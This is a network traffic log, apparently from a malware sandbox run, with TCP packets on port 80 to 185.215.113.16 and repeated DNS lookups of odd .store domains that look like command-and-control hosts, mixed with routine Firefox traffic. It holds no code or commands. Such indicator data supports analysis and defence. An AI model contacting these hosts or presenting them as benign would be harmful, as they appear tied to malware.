Nov 1, 2024 05:02:38.837886095 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.837892056 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.837927103 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.837980986 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838006020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838021994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838040113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838047981 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838057041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838073015 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838073969 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838092089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838110924 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838118076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838196039 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838212013 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838232994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838238001 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838259935 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838321924 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838339090 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838371038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838377953 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838387966 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838403940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838418961 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838428020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838434935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838443041 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838460922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838474989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838476896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838494062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838511944 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838711977 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838727951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838743925 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838759899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838771105 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:38.838774920 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838792086 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:38.838793993 CET	59856	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 05:01:01.238351107 CET	192.168.2.5	1.1.1.1	0xf7ea	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.309433937 CET	192.168.2.5	1.1.1.1	0xe376	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.327599049 CET	192.168.2.5	1.1.1.1	0xa70d	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.342556953 CET	192.168.2.5	1.1.1.1	0xb637	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.363692045 CET	192.168.2.5	1.1.1.1	0x38c4	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.585412979 CET	192.168.2.5	1.1.1.1	0x263d	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.598731995 CET	192.168.2.5	1.1.1.1	0xefd9	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.610716105 CET	192.168.2.5	1.1.1.1	0x30cf	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.620600939 CET	192.168.2.5	1.1.1.1	0x9a1	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.017606020 CET	192.168.2.5	1.1.1.1	0x7f4e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.070400953 CET	192.168.2.5	1.1.1.1	0x89b1	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.083257914 CET	192.168.2.5	1.1.1.1	0x5599	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.095103025 CET	192.168.2.5	1.1.1.1	0x5e9c	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:40.798717022 CET	192.168.2.5	1.1.1.1	0xebc0	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:40.861784935 CET	192.168.2.5	1.1.1.1	0x43f3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:02:43.016921043 CET	192.168.2.5	1.1.1.1	0x9300	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.017271042 CET	192.168.2.5	1.1.1.1	0x2c8f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.035734892 CET	192.168.2.5	1.1.1.1	0xd282	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.040754080 CET	192.168.2.5	1.1.1.1	0x96c9	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.044298887 CET	192.168.2.5	1.1.1.1	0xe285	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:02:43.048454046 CET	192.168.2.5	1.1.1.1	0xe00c	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 1, 2024 05:02:45.309638023 CET	192.168.2.5	1.1.1.1	0xb8ca	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:45.315855980 CET	192.168.2.5	1.1.1.1	0x6803	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:45.325839996 CET	192.168.2.5	1.1.1.1	0xf535	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:45.326366901 CET	192.168.2.5	1.1.1.1	0xf9b6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:02:45.349509001 CET	192.168.2.5	1.1.1.1	0x4b0b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:01.148459911 CET	192.168.2.5	1.1.1.1	0xc62	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:01.617089987 CET	192.168.2.5	1.1.1.1	0x86cf	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:01.781358004 CET	192.168.2.5	1.1.1.1	0x1a40	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:01.857875109 CET	192.168.2.5	1.1.1.1	0xbd52	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:01.875737906 CET	192.168.2.5	1.1.1.1	0x37ad	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:01.897412062 CET	192.168.2.5	1.1.1.1	0xdc63	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:01.996710062 CET	192.168.2.5	1.1.1.1	0x7283	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:01.997152090 CET	192.168.2.5	1.1.1.1	0x22eb	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:01.997298956 CET	192.168.2.5	1.1.1.1	0xc48f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.089484930 CET	192.168.2.5	1.1.1.1	0x44ee	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.089657068 CET	192.168.2.5	1.1.1.1	0xe7f7	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.124619961 CET	192.168.2.5	1.1.1.1	0x208d	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.124969006 CET	192.168.2.5	1.1.1.1	0xdab0	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:02.300412893 CET	192.168.2.5	1.1.1.1	0x96b1	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.301449060 CET	192.168.2.5	1.1.1.1	0x9d77	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:02.556943893 CET	192.168.2.5	1.1.1.1	0xc5ae	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.577336073 CET	192.168.2.5	1.1.1.1	0x7acf	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.826970100 CET	192.168.2.5	1.1.1.1	0xe369	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.024173975 CET	192.168.2.5	1.1.1.1	0x7684	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.024364948 CET	192.168.2.5	1.1.1.1	0x655b	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.064796925 CET	192.168.2.5	1.1.1.1	0x612c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.113715887 CET	192.168.2.5	1.1.1.1	0x612c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.656562090 CET	192.168.2.5	1.1.1.1	0xa490	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.657087088 CET	192.168.2.5	1.1.1.1	0x7b1	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.657470942 CET	192.168.2.5	1.1.1.1	0x559e	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.742877007 CET	192.168.2.5	1.1.1.1	0xc89f	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.743283033 CET	192.168.2.5	1.1.1.1	0x785b	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.743778944 CET	192.168.2.5	1.1.1.1	0x2842	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.763328075 CET	192.168.2.5	1.1.1.1	0xdf4e	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.763597012 CET	192.168.2.5	1.1.1.1	0x215	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.794552088 CET	192.168.2.5	1.1.1.1	0x68df	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.847631931 CET	192.168.2.5	1.1.1.1	0x5807	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.879086018 CET	192.168.2.5	1.1.1.1	0x215	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.879108906 CET	192.168.2.5	1.1.1.1	0xdf4e	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.879729986 CET	192.168.2.5	1.1.1.1	0xf455	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.884232044 CET	192.168.2.5	1.1.1.1	0xb91e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.932707071 CET	192.168.2.5	1.1.1.1	0x4283	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:03.933190107 CET	192.168.2.5	1.1.1.1	0xee1b	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.943159103 CET	192.168.2.5	1.1.1.1	0x2d03	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:04.842442989 CET	192.168.2.5	1.1.1.1	0x2d17	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.038109064 CET	192.168.2.5	1.1.1.1	0x968	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.058141947 CET	192.168.2.5	1.1.1.1	0xe186	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:05.694320917 CET	192.168.2.5	1.1.1.1	0x733e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.710481882 CET	192.168.2.5	1.1.1.1	0x4040	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.721915960 CET	192.168.2.5	1.1.1.1	0x7aac	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:05.734230995 CET	192.168.2.5	1.1.1.1	0xa729	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.036600113 CET	192.168.2.5	1.1.1.1	0xcfbf	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:45.187647104 CET	192.168.2.5	1.1.1.1	0x64df	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.237865925 CET	192.168.2.5	1.1.1.1	0x44de	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:45.262680054 CET	192.168.2.5	1.1.1.1	0xebd2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:45.290458918 CET	192.168.2.5	1.1.1.1	0x8298	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.309864044 CET	192.168.2.5	1.1.1.1	0xbc9c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 05:03:45.425709963 CET	192.168.2.5	1.1.1.1	0x13c8	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.485675097 CET	192.168.2.5	1.1.1.1	0x13c8	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:45.485986948 CET	192.168.2.5	1.1.1.1	0xc606	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:45.490062952 CET	192.168.2.5	1.1.1.1	0x6409	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 05:03:45.500627995 CET	192.168.2.5	1.1.1.1	0xf724	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 05:01:01.247347116 CET	1.1.1.1	192.168.2.5	0xf7ea	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.318269014 CET	1.1.1.1	192.168.2.5	0xe376	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.336174011 CET	1.1.1.1	192.168.2.5	0xa70d	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.351608038 CET	1.1.1.1	192.168.2.5	0xb637	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.378298044 CET	1.1.1.1	192.168.2.5	0x38c4	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:01:01.378298044 CET	1.1.1.1	192.168.2.5	0x38c4	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.593760967 CET	1.1.1.1	192.168.2.5	0x263d	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.607415915 CET	1.1.1.1	192.168.2.5	0xefd9	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.619417906 CET	1.1.1.1	192.168.2.5	0x30cf	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:17.629555941 CET	1.1.1.1	192.168.2.5	0x9a1	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.027066946 CET	1.1.1.1	192.168.2.5	0x7f4e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.078759909 CET	1.1.1.1	192.168.2.5	0x89b1	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.091618061 CET	1.1.1.1	192.168.2.5	0x5599	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:31.103895903 CET	1.1.1.1	192.168.2.5	0x5e9c	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:40.745646000 CET	1.1.1.1	192.168.2.5	0x2d22	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:40.805769920 CET	1.1.1.1	192.168.2.5	0xebc0	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.023824930 CET	1.1.1.1	192.168.2.5	0x9300	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:02:43.023824930 CET	1.1.1.1	192.168.2.5	0x9300	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.023925066 CET	1.1.1.1	192.168.2.5	0x2c8f	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.043174028 CET	1.1.1.1	192.168.2.5	0xd282	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.047411919 CET	1.1.1.1	192.168.2.5	0x96c9	No error (0)	youtube.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:43.050782919 CET	1.1.1.1	192.168.2.5	0xe285	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 05:02:43.054948092 CET	1.1.1.1	192.168.2.5	0xe00c	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 1, 2024 05:02:45.314824104 CET	1.1.1.1	192.168.2.5	0xba95	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:02:45.314824104 CET	1.1.1.1	192.168.2.5	0xba95	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:45.316119909 CET	1.1.1.1	192.168.2.5	0xb8ca	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:45.324208975 CET	1.1.1.1	192.168.2.5	0x6803	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:02:45.332607985 CET	1.1.1.1	192.168.2.5	0xf535	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:01.864366055 CET	1.1.1.1	192.168.2.5	0xbd52	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:01.864366055 CET	1.1.1.1	192.168.2.5	0xbd52	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:01.883079052 CET	1.1.1.1	192.168.2.5	0x37ad	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.003415108 CET	1.1.1.1	192.168.2.5	0x7283	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:02.003415108 CET	1.1.1.1	192.168.2.5	0x7283	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:02.003415108 CET	1.1.1.1	192.168.2.5	0x7283	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.004069090 CET	1.1.1.1	192.168.2.5	0xc48f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.004256010 CET	1.1.1.1	192.168.2.5	0x22eb	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:02.096141100 CET	1.1.1.1	192.168.2.5	0xe7f7	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.096220016 CET	1.1.1.1	192.168.2.5	0x44ee	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.106915951 CET	1.1.1.1	192.168.2.5	0x889e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:02.106915951 CET	1.1.1.1	192.168.2.5	0x889e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.131417990 CET	1.1.1.1	192.168.2.5	0x208d	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.307194948 CET	1.1.1.1	192.168.2.5	0x96b1	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.307194948 CET	1.1.1.1	192.168.2.5	0x96b1	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.308486938 CET	1.1.1.1	192.168.2.5	0x9d77	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 05:03:02.563697100 CET	1.1.1.1	192.168.2.5	0xc5ae	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:02.563697100 CET	1.1.1.1	192.168.2.5	0xc5ae	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.582479954 CET	1.1.1.1	192.168.2.5	0xd948	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.584248066 CET	1.1.1.1	192.168.2.5	0x7acf	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:02.584248066 CET	1.1.1.1	192.168.2.5	0x7acf	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:02.833602905 CET	1.1.1.1	192.168.2.5	0xe369	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.031001091 CET	1.1.1.1	192.168.2.5	0x7684	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.336045980 CET	1.1.1.1	192.168.2.5	0x8fb0	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 05:03:03.663378954 CET	1.1.1.1	192.168.2.5	0xa490	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
